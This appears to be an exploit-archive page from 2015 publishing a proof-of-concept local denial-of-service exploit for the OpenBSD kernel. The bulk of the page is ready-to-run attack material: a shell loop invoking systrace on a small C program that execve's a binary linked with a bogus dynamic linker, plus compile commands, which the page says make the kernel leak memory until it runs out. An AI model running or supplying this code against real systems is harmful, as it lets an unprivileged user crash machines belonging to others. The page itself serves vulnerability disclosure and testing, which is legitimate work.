what you don't know can hurt you

OpenBSD Local Denial Of Service

OpenBSD Local Denial Of Service
Posted Jul 28, 2015
Authored by Maxime Villard

OpenBSD local memory leak denial of service proof of concept exploit.

tags | exploit, denial of service, local, proof of concept, memory leak
systems | openbsd
MD5 | abcf35a318f88ee51e0aae5b82ba1757

OpenBSD Local Denial Of Service

Change Mirror Download
/*
* 2015, Maxime Villard
* Exploit triggering a memory leak in the OpenBSD kernel from an unprivileged
* user. Found by The Brainy Code Scanner.
*/

- - - - - - - - - - - - - - - - - script.sh - - - - - - - - - - - - - - - - - -

#! /bin/sh
while true
do
systrace -A ./exploit
done

- - - - - - - - - - - - - - - - - exploit.c - - - - - - - - - - - - - - - - - -

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
execve("bin", argv, NULL);
}

- - - - - - - - - - - - - - - - - - bin.c - - - - - - - - - - - - - - - - - - -

int main() {}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

$ gcc -o exploit exploit.c
$ gcc -Wl,-dynamic-linker,/DEAD -o bin bin.c
$ ./script.sh

Wait a bit, and the kernel will run out of memory.


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